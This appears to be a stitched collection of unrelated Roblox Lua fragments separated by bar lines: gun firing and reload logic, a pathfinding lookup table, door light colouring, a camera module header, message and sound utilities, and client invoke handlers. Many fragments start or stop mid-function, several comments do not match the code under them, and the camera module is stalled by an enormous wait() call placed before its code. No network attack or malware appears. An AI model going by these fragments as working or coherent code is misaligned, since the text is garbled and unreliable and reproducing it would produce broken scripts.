if Part1 and Part2 then
local enddist = (EndPos-SPos).magnitude
P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.04,enddist,.04)
else
P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.04,MaxDist,.04)
end
elseif not WallShoot then
local Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)
DmgPlr(Part)
if Part then
local dist = (Pos-SPos).magnitude
P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.1,dist,.1)
else
P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.1,MaxDist,.1)
end
end
game.Debris:AddItem(P,.1)
end
function onButton1Up(mouse)
automatichold = false
end
function onKeyDown(key, mouse)
if key:lower() == "r" then
if script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then
reloadsound = script:FindFirstChild("Reload")
if reloadsound then
reloadsound:Play()
end
enabled = false
script.Parent.VisibleB.Value = true
script.Parent.StringValue.Value = "Reloading"
repeat script.Parent.StringValue.Value = "Reloading" wait(0.15) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = "Reloading" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value
script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value
wait(0.2)
script.Parent.VisibleB.Value = false
enabled = true
end
end
if key:lower() == "m" then
if GunType == 1 then
GunType = 0
Recoil = 5
else
GunType = 1
Recoil = 4
end
end
end
function onEquipped(mouse)
equipped = true
if mouse == nil then
print("Mouse not found")
return
end
mouse.Icon = "http://www.roblox.com/asset/?id=52812029"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
mouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end)
end
function onUnequipped(mouse)
equipped = false
automatichold = false
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
while true do wait()
if script.Parent.Ammo.Value == 0 then
script.Parent.VisibleB.Value = true
script.Parent.StringValue.Value = "Reload"
end
if GunType == 1 then
script.Parent.ModeText.Value = "Auto"
else
script.Parent.ModeText.Value = "Semi"
end
end
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{39,41,30,56,58},t},
[49]={{39,40,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{39,41,30,56,58,20,19},t},
[59]={{39,41,59},t},
[63]={{39,41,30,56,58,23,62,63},t},
[34]={{39,40,35,34},t},
[21]={{39,41,30,56,58,20,21},t},
[48]={{39,40,35,34,32,31,29,28,44,45,49,48},t},
[27]={{39,40,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{39,40,35,34,32,31},t},
[56]={{39,41,30,56},t},
[29]={{39,40,35,34,32,31,29},t},
[13]={n,f},
[47]={{39,40,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{39,40,35,34,32,31,29,28,44,45},t},
[57]={{39,41,30,56,57},t},
[36]={{39,40,35,37,36},t},
[25]={{39,40,35,34,32,31,29,28,27,26,25},t},
[71]={{39,41,59,61,71},t},
[20]={{39,41,30,56,58,20},t},
[60]={{39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{39,41,59,61,71,72,76,73,75},t},
[22]={{39,41,30,56,58,20,21,22},t},
[74]={{39,41,59,61,71,72,76,73,74},t},
[62]={{39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{39,40,35,37},t},
[2]={n,f},
[35]={{39,40,35},t},
[53]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{39,41,59,61,71,72,76,73},t},
[72]={{39,41,59,61,71,72},t},
[33]={{39,40,35,37,36,33},t},
[69]={{39,41,60,69},t},
[65]={{39,41,30,56,58,20,19,66,64,65},t},
[26]={{39,40,35,34,32,31,29,28,27,26},t},
[68]={{39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{39,41,59,61,71,72,76},t},
[50]={{39,40,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{39,40,35,34,32,31,29,28,27,26,25,24},t},
[23]={{39,41,30,56,58,23},t},
[44]={{39,40,35,34,32,31,29,28,44},t},
[39]={{39},t},
[32]={{39,40,35,34,32},t},
[3]={n,f},
[30]={{39,41,30},t},
[51]={{39,40,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{39,41,30,56,58,20,19,66,64,67},t},
[61]={{39,41,59,61},t},
[55]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{39,40,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{39,40,38,42},t},
[40]={{39,40},t},
[52]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{39,41},t},
[17]={n,f},
[38]={{39,40,38},t},
[28]={{39,40,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[
CameraModule - This ModuleScript implements a singleton class to manage the
selection, activation, and deactivation of the current camera controller,
character occlusion controller, and transparency controller. This script binds to
RenderStepped at Camera priority and calls the Update() methods on the active
controller instances.
The camera controller ModuleScripts implement classes which are instantiated and
activated as-needed, they are no longer all instantiated up front as they were in
the previous generation of PlayerScripts.
2018 PlayerScripts Update - AllYourBlox
--]]
|
wait(999999999999999999999)
local CameraModule = {}
CameraModule.__index = CameraModule
local FFlagUserCameraToggle do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserCameraToggle")
end)
FFlagUserCameraToggle = success and result
end
local FFlagUserRemoveTheCameraApi do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserRemoveTheCameraApi")
end)
FFlagUserRemoveTheCameraApi = success and result
end
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "13"
|
--[[
Constructs a new ForValues object which maps values of a table using
a `processor` function.
Optionally, a `destructor` function can be specified for cleaning up values.
If omitted, the default cleanup function will be used instead.
Additionally, a `meta` table/value can optionally be returned to pass data created
when running the processor to the destructor when the created object is cleaned up.
]]
|
local Package = script.Parent.Parent
local Dependencies = require(script.Parent.Parent.Dependencies)
local utility = Dependencies.utility
local class = {}
local CLASS_METATABLE = { __index = class }
|
--Variables
|
local bloodPart = script:WaitForChild("BloodPart")
local bloodParticles = script:WaitForChild("BloodParticles")
local bloodCache = workspace:FindFirstChild("BloodCache")
|
--[[
TransparencyController - Manages transparency of player character at close camera-to-subject distances
2018 Camera Update - AllYourBlox
--]]
|
local MAX_TWEEN_RATE = 2.8 -- per second
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
-- / Functions / --
|
MessagesModule.GetVictoryMessage = function(Player)
local PlayersName = Player.DisplayName
local VictoryMessage = VictoryMessagesModule.GetRandomMessage(PlayersName)
return VictoryMessage
end
MessagesModule.GetDeathMessage = function(Player)
local PlayersName = Player.DisplayName
local DeathMessage = DeathMessagesModule.GetRandomMessage(PlayersName)
return DeathMessage
end
|
-- Change "Money" to the name of your currency. Example: Cash
|
local clone = tools:FindFirstChild(tool):Clone()
clone.Parent = player.StarterGear
-- Copy this code if you want the player to still have the tool even if he died
local clone2 = tools:FindFirstChild(tool):Clone()
clone2.Parent = player.StarterGear
end)
|
---------------------------------------Function end here.
|
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
--Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
if (check()) then
fire(lookAt)
wait(0.06)
onActivated()
end
return
--Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
-- Put your code down here and don't delete this entire text.
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Network = require(ReplicatedStorage.GameModules.GameMechanicsCore["Network"])
local Mouse = game.Players.LocalPlayer:GetMouse()
ReplicatedStorage.Events.GetPlayerMouse.OnClientInvoke = function()
return workspace:Raycast(Mouse.Origin.Position, Mouse.UnitRay.Direction)
end
ReplicatedStorage.Events.GetValue.OnClientInvoke = function(Directory, PropName)
return Directory[PropName]
end
|
-- In radians the minimum accuracy penalty
|
local MinSpread = 0.0
|
--Weighting of Sounds
|
function AudioUtils.PickWeightedRandomSound(instance: Instance)
local children = instance:GetChildren()
local total = 0
for _, sound in pairs(children) do
total += sound:GetAttribute("Weight") or 1
end
-- total is now the sum of all weights
--print(total)
local choice = rng:NextNumber(0, total)
-- choice is some number between 0 and total; sounds with larger weights take up more space in that range
local threshold = 0
for _, sound in pairs(children) do
threshold += sound:GetAttribute("Weight") or 1
if choice < threshold then
return sound -- return the sound whose weight range contains the choice
end
end
-- we should never end up here, but just in-case, we'll fallback to regular randomness
return children[rng:NextInteger(1, #children)]
end
function AudioUtils.PlayOneShot(obj, folder, part)
local attachment = Instance.new("Attachment", part)
---"This adorn adds a part for debugging purposes"--
---local adorn = Instance.new("SphereHandleAdornment", attachment)
---adorn.Adornee = part
---adorn.Radius = 20
local halfSize = part.Size / 2
local x = rng:NextNumber(-halfSize.X, halfSize.X)
local y = rng:NextNumber(-halfSize.Y, halfSize.Y)
local z = rng:NextNumber(-halfSize.Z, halfSize.Z)
attachment.Position = Vector3.new(x, y, z)
---adorn.CFrame = attachment.CFrame
local clone = AudioUtils.PickWeightedRandomSound(folder):Clone()
clone.Parent = attachment
--print(tagName .. ": cloned sound ")
local playbackRange = obj:GetAttribute("PlaybackSpeed")
local volumeRange = obj:GetAttribute("Volume")
clone.PlaybackSpeed = rng:NextNumber(playbackRange.Min, playbackRange.Max)
clone.Volume = rng:NextNumber(volumeRange.Min, volumeRange.Max)
clone.Ended:Connect(function()
--print(tagName .. ": destorying attachment")
attachment:Destroy()
end)
clone:Play()
end
return AudioUtils
|
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